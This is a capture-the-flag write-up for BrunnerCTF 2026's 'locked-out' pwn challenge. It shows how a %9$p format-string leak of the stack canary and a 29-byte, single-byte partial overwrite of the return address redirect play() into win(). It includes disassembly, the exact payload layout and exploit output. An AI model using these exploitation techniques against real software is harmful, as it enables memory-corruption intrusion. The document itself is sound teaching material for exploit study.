locked-out

Event
BrunnerCTF 2026
Category
pwn
Published
Tags
#format-string #canary-leak #partial-overwrite

A format string at %9$p leaks the stack canary, and a limited attempt budget forces a single-byte partial overwrite rather than a full return address rewrite.

pwn7 min read

On this page
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       enabled
PIE:      enabled

Every mitigation is on and there is no source, which is the point of the challenge: the whole thing falls to a format-string bug that leaks the canary and a single-byte partial overwrite that redirects the return address, without ever leaking the PIE base.


1. The binary

main calls play() and returns. The program contains a win() function that opens and prints flag.txt, but the normal control flow never reaches it. The decompiled reconstruction of play() shows the vulnerability:

// reconstructed from the disassembly, not provided source
int  tries = 4;              // rbp-0x0c
char buf[..];                // rbp-0x14
pincode = rand() % 10000;
while (tries > 0) {
    memset(buf, 0, 5);
    printf("Please enter PIN: ");
    read(0, buf, 0x20);      // BUG 1: 32 bytes into a frame slot at rbp-0x14
    buf[4] = 0;
    if (atoi(buf) == pincode) { puts("Correct! ..."); break; }
    tries--;
    printf(buf);             // BUG 2: user-controlled format string
    printf(" is wrong! %d tries left.\n", tries);
}

Guessing the PIN is a red herring. The "Correct!" branch only breaks out of the loop; it never calls win(). The only way to the flag is to hijack the return from play().

The relevant instructions from objdump -d -M intel ./locked_out:

1281 <play>:
  1285: sub    rsp, 0x20                     ; frame is 32 bytes
  1292: mov    QWORD PTR [rbp-0x8], rax      ; canary at rbp-0x08
  1298: mov    DWORD PTR [rbp-0xc], 0x4      ; tries = 4 at rbp-0x0c
  ...
  130c: lea    rax, [rbp-0x14]               ; buf @ rbp-0x14
  1310: mov    edx, 0x20                     ; length = 0x20 = 32
  131d: call   read@plt                      ; read(0, buf, 32)
  1322: mov    BYTE PTR [rbp-0x10], 0x0     ; buf[4] = 0
  1326: lea    rax, [rbp-0x14]      ; buf[4] = 0
  132a: mov    rdi, rax
  132d: call   atoi@plt
  ...
  1358: lea    rax, [rbp-0x14]
  135c: mov    rdi, rax
  1364: call   printf@plt                    ; printf(buf)
  ...
  13a1: leave
  13a2: ret                                  ; returns to main+0x1c = 0x13bf
13a3 <main>:
  13ba: call   1281 <play>
  13bf: mov    eax, 0x0                      ; <- play() returns here

The target dead-code path win() is located at:

13da <win>:
  ...
  1405: call   fopen@plt                     ; fopen("flag.txt", "r")
  ...
  1426: call   printf@plt                    ; prints each line
  143b: call   fgets@plt                     ; reads the next line

2. Frame layout of play()

buf lives at rbp-0x14, and read writes 32 bytes starting there, reaching rbp+0x0b. That covers the whole frame, the saved rbp, and the low four bytes of the return address. Enough for a partial overwrite, not enough to replace the address outright:

offset from bufrbp-relativecontentswidth
+0rbp-0x14buf[0..3]4
+4rbp-0x10slot holding buf[4], which is forced to 04
+8rbp-0x0ctries (int)4
+12rbp-0x08stack canary8
+20rbp+0x00saved rbp8
+28rbp+0x08return address8

Three of these fields are booby traps for the payload:

  • buf[4] = 0 runs after the read, so byte 4 of whatever we send is always NUL by the time printf(buf) and atoi(buf) see it.
  • tries sits inside the overflow. The loop re-reads it on the next iteration, so we have to plant a sane value rather than whatever padding lands there.
  • The canary sits between us and the saved rbp. Without a copy of the fs:0x28 value, the __stack_chk_fail at 139c aborts before ret runs.

3. Leaking the canary through %9$p

Because buf[4] is force-zeroed, the format string in printf(buf) is capped at four bytes plus the implicit NUL. %10$p runs to five characters, so it never survives the truncation, and neither does anything like %p %p. That cap pins the exploit to a single four-character specifier.

%9$p is exactly four characters, and slot 9 is the canary. On x86-64 SysV, rdi carries the format string and printf’s varargs live in rsi, rdx, rcx, r8, r9 and then on the stack, so %1$ through %5$ name those registers and %6$ is the first stack vararg. play() does sub rsp, 0x20 on entry and pushes nothing else before the call, so rsp = rbp - 0x20 when printf runs. Counting from there:

specifieraddressframe slot
%6$prbp-0x20below buf
%7$prbp-0x18below buf + buf[0..3]
%8$prbp-0x10buf[4..7] + tries
%9$prbp-0x08canary

Sending %9$p on the first attempt leaks the canary. Glibc always sets the low byte of a stack canary to 0x00, and the exploit checks for that as a cheap sanity test on the leak.

4. Attempt budget

We have four reads before play() returns. The exploit handles them in this order:

  1. Send %9$p and parse the canary from the output.
  2. Send 1 to consume the second try.
  3. Send 1 to consume the third try.
  4. Send the 29-byte overflow payload.

During the fourth iteration, tries is 1. The payload overwrites tries with 1, which the loop decrements to 0. The loop then terminates, and play() executes leave and ret to jump to the modified return address.

There is one flake worth calling out. atoi("%9$p") returns 0, so if pincode comes up 0 (a 1-in-10,000 chance) the loop takes the Correct! branch on the first attempt, skips printf entirely and kills the leak. Attempts 2 and 3 send 1, so pincode == 1 collides the same way at the same odds. The exploit just retries.

5. Single-byte partial overwrite

play() normally returns to main+0x1c = 0x13bf, and win() starts at 0x13da. Under PIE only the page base is randomised, so the low 12 bits of every code address are fixed at load time:

main+0x1c :  ... XXXXXXXX 3 b f
win        :  ... XXXXXXXX 3 d a
                             ^^ differs in the low byte only

Overwriting one byte of the saved return address turns 0x13bf into 0x13da. No PIE leak, no brute force, no gadget hunting.

Had the two offsets straddled a 0x100 boundary, bits 8-11 would have differed too, forcing a two-byte write. Bits 8-11 are themselves fixed, but you cannot write half a byte: the second byte also carries bits 12-15, which are randomised. Four unknown bits means a 1-in-16 brute force. Here the layout is friendlier and one clean byte is enough.

read(0, buf, 0x20) reads up to 32 bytes, and the return address begins at offset 28. Sending exactly 29 bytes overwrites only the first byte of [rbp+8] and leaves the other seven bytes unchanged.

6. The payload

The 29-byte payload is structured as follows:

offsetbytespurpose
0..7b'A' * 8filler across buf and buf[4] (which will be zeroed anyway)
8..11p32(1)tries = 1 so the loop exits cleanly after the decrement
12..19p64(canary)restore the canary; survives __stack_chk_fail
20..27b'B' * 8saved rbp; win() builds its own frame, any value works
28p8(0xda)low byte of RIP: main+0x1c (0x13bf) becomes win() (0x13da)

That totals 29 bytes, comfortably inside the 32-byte cap. read() does not stop on newlines, so there are no bad bytes to work around. The full run:

attempt 1  send b'%9$p'          -> echoed as hex, parse into `canary`
attempt 2  send b'1'             -> burn a try
attempt 3  send b'1'             -> burn a try
attempt 4  send 29-byte payload  -> tries=1, canary restored, RIP low byte = 0xda
           loop decrements tries to 0, exits, play() returns into win(),
           win() prints flag.txt

7. Running it

$ python3 exploit.py locked-out-943340c70a6ac7b7-global.challs.brunnerne.xyz:1337
[+] Opening connection to locked-out-...challs.brunnerne.xyz on port 1337: Done
[+] canary = 0x756a9c52951c0a00
[+] Receiving all data: Done (65B)
[+] flag: brunner{no_brunsviger_left_behind}
AAAA is wrong! 0 tries left.

brunner{no_brunsviger_left_behind}

The live instances sit behind TLS, so exploit.py connects with ssl=True. Plain nc against that host and port gets nothing.

The leaked canary ends in 0x00, exactly as expected. That check guards against a malformed leak. The PIN-collision case is caught earlier and by a different mechanism: play() prints Correct!, breaks, and the process exits without ever printing " is wrong!", so recvuntil raises EOFError and the retry loop reconnects.

8. Takeaways

  • When read() writes past a frame slot, remember that later stores in the same function can clobber your input. buf[4] = 0 here doubles as a hard cap on any format-string primitive.
  • A PIE leak is not always necessary. If two candidate return targets sit in the same page, the bits that differ between them are exactly the bits PIE leaves fixed, so a partial overwrite sidesteps it entirely. If they also share a 0x100-aligned block, one byte does it.
  • Stack canaries are only a problem if you cannot see them. A format-string bug in the same frame usually can.
  • Any state stored inside the overflow region has to come back as a value the surrounding code will accept. Here that meant planting tries = 1 so the loop actually exits and ret gets to run.